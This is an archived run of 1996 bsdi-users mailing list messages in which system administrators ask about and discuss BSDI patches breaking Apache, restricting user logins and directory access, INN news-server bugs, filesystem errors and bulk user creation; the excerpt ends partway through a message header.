From VM Sat Nov 2 22:34:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["779" "Fri" "1" "November" "1996" "09:54:04" "+0000" "Neil J. McRae" "neil@domino.org" nil "20" "Re: Patches causing Apache problems? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA11507 for ; Fri, 1 Nov 1996 05:08:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id EAA24438 for bsdi-users-outgoing; Fri, 1 Nov 1996 04:58:14 -0500 (EST) Message-Id: <199611010954.JAA29507@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Thu, 31 Oct 1996 21:26:15 PST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: Patches causing Apache problems? Date: Fri, 01 Nov 1996 09:54:04 +0000 On Thu, 31 Oct 1996 21:26:15 -0800 (PST) patrick@value.net wrote: > > I installed patches K210-021 - K210-024 last night on our Web server > (Apache 1.1.1) which seems to have resulted in a rather odd problem. > Apache runs fine for a few hours, and then all requests just start timing > out. The httpd processes show running, but never seem to answer. I was > wondering if anyone else has had a similar problem. > I can't remember what those patches are, but if they are PCB or network related chances are you'll need to recompile apache. Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sat Nov 2 22:34:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["358" "Fri" "1" "November" "1996" "10:07:36" "-0000" "Steve Lalonde" "steve@enta.net" nil "17" "ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA11776 for ; Fri, 1 Nov 1996 05:13:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id FAA24454 for bsdi-users-outgoing; Fri, 1 Nov 1996 05:07:42 -0500 (EST) Message-Id: <199611011007.KAA16060@enable.enta.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Steve Lalonde" Sender: owner-bsdi-users@lists.gateway.com To: Subject: ftp problems Date: Fri, 1 Nov 1996 10:07:36 -0000 Hi All I need to be able to stop users from changing directory out of their home directory in to another users directory or back down the tree, But i also need their home pages to work. i have tried to take away world read access but that stops the web pages working HELP!!!! Steve Lalonde Entanet Systems Manager The answer is YES whats the question? From VM Sat Nov 2 22:34:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1014" "Fri" "1" "November" "1996" "08:18:04" "-0500" "Erik R. Leo" "erikl@sover.net" nil "24" "Re: Patches causing Apache problems? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA17102 for ; Fri, 1 Nov 1996 08:29:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id IAA24805 for bsdi-users-outgoing; Fri, 1 Nov 1996 08:18:41 -0500 (EST) In-Reply-To: <199611010954.JAA29507@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Erik R. Leo" Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: patrick@value.net, bsdi-users@BSDI.COM, neil@domino.org Subject: Re: Patches causing Apache problems? Date: Fri, 1 Nov 1996 08:18:04 -0500 (EST) On Fri, 1 Nov 1996, Neil J. McRae wrote: > On Thu, 31 Oct 1996 21:26:15 -0800 (PST) patrick@value.net wrote: > > > > I installed patches K210-021 - K210-024 last night on our Web server > > (Apache 1.1.1) which seems to have resulted in a rather odd problem. > > Apache runs fine for a few hours, and then all requests just start timing > > out. The httpd processes show running, but never seem to answer. I was > > wondering if anyone else has had a similar problem. > > > I can't remember what those patches are, but if they are PCB or network > related chances are you'll need to recompile apache. We did (install the patches) and we didn't (need to recompile Apache). The patches (K210-021,022 and 024) are BSDI's "SYN prophylactic" and (K210-023) a de driver enhancement. -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 From VM Sat Nov 2 22:34:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["978" "Fri" "1" "November" "1996" "09:17:25" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "26" "Re: Newuser Program.." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA18752 for ; Fri, 1 Nov 1996 09:31:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA24859 for bsdi-users-outgoing; Fri, 1 Nov 1996 09:18:51 -0500 (EST) Posted-Date: Fri, 1 Nov 1996 09:17:25 -0500 (EST) In-Reply-To: <55b7hc$gt0@boris.eden.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: spring@eden.com cc: info-bsdi-users@uunet.uu.net Subject: Re: Newuser Program.. Date: Fri, 1 Nov 1996 09:17:25 -0500 (EST) On 31 Oct 1996 spring@eden.com wrote: > \We're writing one right now. What are your specs/requirements? > > Brian Beaulieu (brian@capecod.net) wrote: > : Hello, > > : I was wondering if anyone knew where to find a 'newuser' type of > : program, allowing users to log in as a new user on their own... getting > : informationabout them... etc. i just logged into a server that has > : one... But i couldn't get the name of it. (They were running BSDi) The first UNIX system I logged in to, M-net in Ann Arbor, Michigan, an Altos 68000 system running UNIX System III (about 14 years ago), had, and still has, a newuser program called "newuser." If I'm remembering correctly, it was written by Jan Wolter and Marcus Watts. You might try sending e-mail to postmaster@m-net.arbornet.org and asking about getting source code for "newuser". Knowing Jan and Marcus, it's freeware. There's also "autoadd" in volume 13 of uunet's comp.sources.unix archive. -Mike Pelletier. From VM Sat Nov 2 22:34:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["971" "Fri" "1" "November" "1996" "09:24:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "34" "RE: shell login restriction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA18764 for ; Fri, 1 Nov 1996 09:34:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA24872 for bsdi-users-outgoing; Fri, 1 Nov 1996 09:20:55 -0500 (EST) Message-ID: <327A0898@SMTPGTWY.WANG.COM> Encoding: 33 TEXT X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: RE: shell login restriction Date: Fri, 01 Nov 96 09:24:00 EST I've been using /sbin/nologin in this manner successfully, though if anyone knows of possible security holes I'd appreciate hearing about it. Similarly, I have cron periodically run a perl script that compares the account password to the login id and if they're the same, the account shell is changed to /sbin/nojoe, an edited copy of nologin that echoes: THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS THE SAME AS YOUR LOGIN ID, ... and then drops the connection. Richard noel@wang.com ---------- From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] Sent: Thursday, October 31, 1996 1:42 PM To: Jayanta Mukherjee Cc: bsdi-users Subject: Re: shell login restriction > > I am using BSD 2.0 as a Internet mail server only. I want to disable shell > login for all. i.e. no body should be able login through "Telnet". > Is it possible then how? > You can replace their shell with /sbin/nologin and then they can't login at all. Amy :) From VM Sat Nov 2 22:34:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1554" "Fri" "1" "November" "1996" "09:48:56" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "37" "Re: inn shared active on BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA19592 for ; Fri, 1 Nov 1996 09:59:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA24903 for bsdi-users-outgoing; Fri, 1 Nov 1996 09:49:09 -0500 (EST) Posted-Date: Fri, 1 Nov 1996 09:49:01 -0500 (EST) Reply-To: Mike Pelletier In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: inn shared active on BSDI Date: Fri, 1 Nov 1996 09:48:56 -0500 (EST) On Thu, 31 Oct 1996, Stephen Roderick wrote: > I am running unoff4 when I add the sharedactive patch I get: > > Oct 31 12:11:07 news nnrpd[2616]: bugs.proaxis.com cant read > /var/news/etc/active Bad address > > When I back out the patch everything works great. What's the version number at the top of your nnrpd/group.c file? In my version of the sharedactive patch, it goes from "1.13" to "1.32". Barr's Web page said that an earlier version was buggy, and the current version that I have is dated May 9. You probably have the current one, in any case. Assuming that's all okay, it looks like the problem is starting with the "ReadInFile()" routine returning a NULL. Try putting some debugging syslogs into the ReadInFile() routine and see what the file descriptor, buffer, and st_size arguments for the xread() function call are. It looks like that's the function that's returning the error. Also check the results of the open, fstat, and buffer size comparison. I can also send you a copy of my nnrpd executable for you to try out if you'd like -- I'd be happy to recompile it with the larger limits and send it along. The problem might just be due to the sheer bulk of your active file blowing the mind of the "xread()" call. Mine's only 242,614 bytes, and 5,239 groups, certainly a far cry from your situation. (You must carry all the alt.fan vanity groups, or something... ;-) The problem is not with the patch -- I guarantee you it's working fine here. (Or maybe the patch just doesn't scale well... ;-) -Mike Pelletier. From VM Sat Nov 2 22:34:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["261" "Fri" "1" "November" "1996" "10:45:14" "-0500" "R. Craig Peterson" "craig@mainstream.net" nil "11" "RE: NVI vs VI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA21256 for ; Fri, 1 Nov 1996 11:02:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id KAA25019 for bsdi-users-outgoing; Fri, 1 Nov 1996 10:46:24 -0500 (EST) Message-Id: <199611011545.KAA06210@cws.mainstream.net> In-reply-to: <32779857@SMTPGTWY.WANG.COM> (richard.noel@wang.com) Precedence: bulk From: "R. Craig Peterson- Mainstream" Sender: owner-bsdi-users@lists.gateway.com To: richard.noel@wang.com CC: bsdi-users@gateway.com Subject: RE: NVI vs VI Date: Fri, 1 Nov 1996 10:45:14 -0500 (EST) When I port UNIX to a new architecture I use: ed to bring up vi vi to bring up emacs once emacs its working, the port's done :-) Craig. PS Obviously there's other things that I have to get working along the way, but "It's The Editor That Counts." (sm) :-) From VM Sat Nov 2 22:34:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["227" "Fri" "1" "November" "1996" "11:27:38" "+0000" "Jim Cassata" "jim@web-ex.com" nil "16" "Terminal Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA22097 for ; Fri, 1 Nov 1996 11:38:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id LAA25093 for bsdi-users-outgoing; Fri, 1 Nov 1996 11:25:01 -0500 (EST) Message-Id: <199611011658.LAA23239@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com Priority: normal X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: Terminal Server Date: Fri, 1 Nov 1996 11:27:38 +0000 Anyone using terminal servers by Moxa?? would appreciate any feedback TIA Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Sat Nov 2 22:35:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["772" "Fri" "1" "November" "1996" "12:56:27" "+0000" "Dave A. Flanigan" "entropy@newreach.net" nil "25" "Adduser" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24584 for ; Fri, 1 Nov 1996 13:06:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA25358 for bsdi-users-outgoing; Fri, 1 Nov 1996 12:55:25 -0500 (EST) Message-Id: <3.0.32.19961101125622.0070e6b0@newreach.net> X-Sender: entropy@newreach.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Dave A. Flanigan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Adduser Date: Fri, 01 Nov 1996 12:56:27 +0000 Hello, Dose anyone have, or know of, an adduser program that will allow you to easily add a large group of users? Ideally I would like to have the users in a text file formatted something like: username, passwd username, passwd etc. Or, even an adduser program that can take all its args from the command line so it can be put into a scrip to constantly feed username and password to it. Looking at the adduser program that comes with BSDI, I believe editing it is above my meager Perl programing abilities. Also, I saw floating around here a while ago a little script that would allow one to edit all the users quotas to match a prototype entry. Anyone happen to have it around? Thanks! Dave A. Flanigan, Systems Administrator, NewReach Communications Inc. From VM Sat Nov 2 22:35:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["800" "Fri" "1" "November" "1996" "12:01:18" "-0600" "GUSTAVO YAHUITL LUNA" "yahuitl@gemtel.com.mx" nil "30" "File System Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24589 for ; Fri, 1 Nov 1996 13:07:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25385 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:01:19 -0500 (EST) Message-Id: <3.0b36.32.19961101120117.006e3afc@gemtel.com.mx> X-Sender: yahuitl@gemtel.com.mx X-Mailer: Windows Eudora Pro Version 3.0b36 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: GUSTAVO YAHUITL LUNA Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: File System Problems Date: Fri, 01 Nov 1996 12:01:18 -0600 Running BSD 2.1. I'm getting this errors on my file systems: UNREF FILE I=8116 OWNER=root MODE=0 SIZE=0 MTIME=Nov 1 13:53 1996 CLEAR? no UNREF FILE I=147896 OWNER=root MODE=100777 SIZE=1120961 MTIME=Nov 1 00:59 1996 CLEAR? no UNREF FILE I=147924 OWNER=root MODE=100777 SIZE=920 MTIME=Oct 30 14:14 1996 CLEAR? no I dont know where this problem come. I appreciate any comments. _________________________________________________________________________ Gemtel S.A de C.V Gustavo Yahuitl Luna. Internet Service Provider Direccion de Redes y Proyectos. 5 Poniente 1901 4o Piso Int 15. e-mail: yahuitl@gemtel.com.mx Puebla, Pue. Mexico. 72310 Tel/Fax: +52 (22) 329704 http://www.gemtel.com.mx/ _________________________________________________________________________ From VM Sat Nov 2 22:35:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["813" "Fri" "1" "November" "1996" "13:02:59" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "32" "Re: ftp problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24602 for ; Fri, 1 Nov 1996 13:13:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25414 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:04:51 -0500 (EST) Message-Id: <199611011803.NAA00698@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 01 Nov 1996 10:07:36 GMT. <199611011007.KAA16060@enable.enta.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Steve Lalonde" cc: bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 01 Nov 1996 13:02:59 -0500 In message <199611011007.KAA16060@enable.enta.net>you write: >Hi All > >I need to be able to stop users from changing directory out of their home >directory I don't see what you mean. Don't they have to get out of their home directory just to read their mail or get to any programs at all? >in to another users directory or back down the tree, But i also need their >home pages to work. Maybe a cron entry that changes all home directory top level and chmod 700 to all home directories and make their umask 077. >i have tried to take away world read access but that stops the web pages >working Could you put the home pages in another directory than their own home directory. >HELP!!!! > >Steve Lalonde >Entanet Systems Manager >The answer is YES whats the question? Hope this helps. Good luck, Jacob From VM Sat Nov 2 22:35:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["413" "Fri" "1" "November" "1996" "12:13:30" "-0500" "oran stewart" "orange@nathan.allegany.com" nil "16" "digiboard 16em for sale" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24872 for ; Fri, 1 Nov 1996 13:17:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25449 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:08:39 -0500 (EST) Message-ID: <327A2FBA.62F4@nathan.allegany.com> Reply-To: orange@nathan.allegany.com X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 References: <3.0b28.32.19961101102858.00908b20@I1.NET> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: oran stewart Sender: owner-bsdi-users@lists.gateway.com To: ispc-list@ispc.org CC: bsdi-users@BSDI.COM Subject: digiboard 16em for sale Date: Fri, 01 Nov 1996 12:13:30 -0500 digiboard 16em for sale. asking $650. you pay shipping. i bought it from CDW (Buffalo Grove, IL) for about $900 in July, '96. used just two months. replaced with terminal server. works fine, except requires that you know how to do scripting for Macs, which i didn't. and bsdi 2.1 doesn't accept PAP and CHAP. yet. ISA card, 16port module box, all cables, manuals. oran stewart allegany.com 814 723-6106 From VM Sat Nov 2 22:35:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["794" "Fri" "1" "November" "1996" "09:37:12" "-0800" "patrick@value.net" "patrick@value.net" nil "23" "Re: Patches causing Apache problems? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24877 for ; Fri, 1 Nov 1996 13:17:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25453 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:08:40 -0500 (EST) Reply-To: patrick@value.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: "Erik R. Leo" cc: "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: Patches causing Apache problems? Date: Fri, 1 Nov 1996 09:37:12 -0800 (PST) On Fri, 1 Nov 1996, Erik R. Leo wrote: > On Fri, 1 Nov 1996, Neil J. McRae wrote: > > > I can't remember what those patches are, but if they are PCB or network > > related chances are you'll need to recompile apache. > > We did (install the patches) and we didn't (need to recompile > Apache). The patches (K210-021,022 and 024) are BSDI's "SYN > prophylactic" and (K210-023) a de driver enhancement. I misspoke earlier. I applied 19+ not 21+. 19 does deal with PCB hashing. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Sat Nov 2 22:35:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["907" "Fri" "1" "November" "1996" "10:20:58" "-0800" "Glen Vanlehn" "gvanlehn@ccsf.cc.ca.us" nil "26" "MBone requirements ?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25165 for ; Fri, 1 Nov 1996 13:29:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25500 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:19:56 -0500 (EST) In-Reply-To: <199610311605.LAA20034@lists.gateway.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Glen Vanlehn Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: MBone requirements ? Date: Fri, 1 Nov 1996 10:20:58 -0800 (PST) I am writing a spec sheet for running an MBone connection on a BSDI box. I would like to hear from folks who have already connected to MBone: -- what hardware config's have worked -- network bandwidth / -- special software -- any particular 'gotcha's -- is there a better place to ask this question ? I've found the MBone faq on the web, and also Anders Klements pages.. If anyone would share actual experience, please e-mail me direct as I lurk in digest-mode mostly.. gvanlehn@ccsf.cc.ca.us Thanking you in advance, glen +----------------------------------------------------------------------+ | Glen Van Lehn City College of San Francisco | | net specialist The Truth Shall Make You ______ | | gvanlehn@ccsf.cc.ca.us '91 NT650 Red Hawk | +----------------------------------------------------------------------+ From VM Sat Nov 2 22:35:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1393" "Fri" "1" "November" "1996" "13:22:10" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "32" "Re: shell login restriction " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25182 for ; Fri, 1 Nov 1996 13:32:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25536 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:24:35 -0500 (EST) Message-Id: <199611011822.NAA01207@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 01 Nov 1996 09:24:00 EST. <327A0898@SMTPGTWY.WANG.COM> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Noel, Richard" cc: "'bsdi-users@gateway.com'" Subject: Re: shell login restriction Date: Fri, 01 Nov 1996 13:22:10 -0500 In message <327A0898@SMTPGTWY.WANG.COM>you write: > >I've been using /sbin/nologin in this manner successfully, though if >anyone knows of possible security holes I'd appreciate hearing about >it. Similarly, I have cron periodically run a perl script that compares >the account password to the login id and if they're the same, the account >shell is changed to /sbin/nojoe, an edited copy of nologin that echoes: I'd check commonly used passwords too. Ideally, the computer should make up a mixed case password for them. Users, as a whole, pick terrible passwords. Then, if in a public place (terminal room), people could run a program that looks like the login, but is really a password catcher, people looking over someone's shoulder when logging in, some terminals have a way to have a character send the current line, ... I could go on and I am far from a security wiz or cracker, but I've found the best security is mainly external, and outside access via something like the Digital Pathways for modems. Otherwise, you have security risks, unfortunately. Maybe have the login program be a C program of printf()'s and an exit() at the end. It seems much less complicated than perl. I like simple programs more. >THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS >THE SAME AS YOUR LOGIN ID, ... > >and then drops the connection. > >Richard >noel@wang.com Jacob Parnas From VM Sat Nov 2 22:35:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["623" "Fri" "1" "November" "1996" "19:23:26" "+0100" "cor@xs4all.net" "cor@xs4all.net" nil "19" "Re: NVI vs VI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25460 for ; Fri, 1 Nov 1996 13:35:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25527 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:23:41 -0500 (EST) X-Authentication-Warning: news.xs4all.nl: news set sender to cor@xs4all.nl using -f Message-ID: <55df6s$f6c@news.xs4all.nl> Precedence: bulk From: cor@xs4all.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: NVI vs VI Date: Fri, 1 Nov 1996 19:23:26 +0100 (MET) craig@mainstream.net (R. Craig Peterson- Mainstream) writes: >When I port UNIX to a new architecture I use: >ed to bring up vi >vi to bring up emacs >once emacs its working, the port's done :-) I think you made an error in the last sentence.. Surely you mean you use BSDI to bring up Emacs? :) Cor -- ------------------------------------------------------------------------------ | Cor Bosman | ____Xs4all Public Access____ | tel: +31-(0)20-622-2885 | | cor@in.ter.net | Network Administrator | fax: +31-(0)20-622-2753 | -------------------------------------------------------------------------SP6-- From VM Sat Nov 2 22:35:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1229" "Fri" "1" "November" "1996" "10:28:19" "-0800" "patrick@value.net" "patrick@value.net" nil "31" "Re: Patches causing Apache problems? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25464 for ; Fri, 1 Nov 1996 13:39:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25574 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:28:40 -0500 (EST) In-Reply-To: <199611010954.JAA29507@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: bsdi-users@BSDI.COM Subject: Re: Patches causing Apache problems? Date: Fri, 1 Nov 1996 10:28:19 -0800 (PST) On Fri, 1 Nov 1996, Neil J. McRae wrote: > On Thu, 31 Oct 1996 21:26:15 -0800 (PST) > patrick@value.net wrote: > > > > > I installed patches K210-021 - K210-024 last night on our Web server > > (Apache 1.1.1) which seems to have resulted in a rather odd problem. > > Apache runs fine for a few hours, and then all requests just start timing > > out. The httpd processes show running, but never seem to answer. I was > > wondering if anyone else has had a similar problem. > > > I can't remember what those patches are, but if they are PCB or network > related chances are you'll need to recompile apache. You know, I think I will start sending *you* the money that we normally send to BSDi for a support contract. Their response "We don't have that problem, it may be a problem with Apache 1.1.1." I have recompiled it and am waiting. If it doesn't work, thanks for at least giving me something worth trying. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Sat Nov 2 22:35:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["954" "Fri" "1" "November" "1996" "12:30:32" "-0600" "Chad Scott" "chad@txdirect.net" nil "34" "Re: File System Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25474 for ; Fri, 1 Nov 1996 13:43:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA25590 for bsdi-users-outgoing; Fri, 1 Nov 1996 13:30:56 -0500 (EST) In-Reply-To: <3.0b36.32.19961101120117.006e3afc@gemtel.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chad Scott Sender: owner-bsdi-users@lists.gateway.com To: GUSTAVO YAHUITL 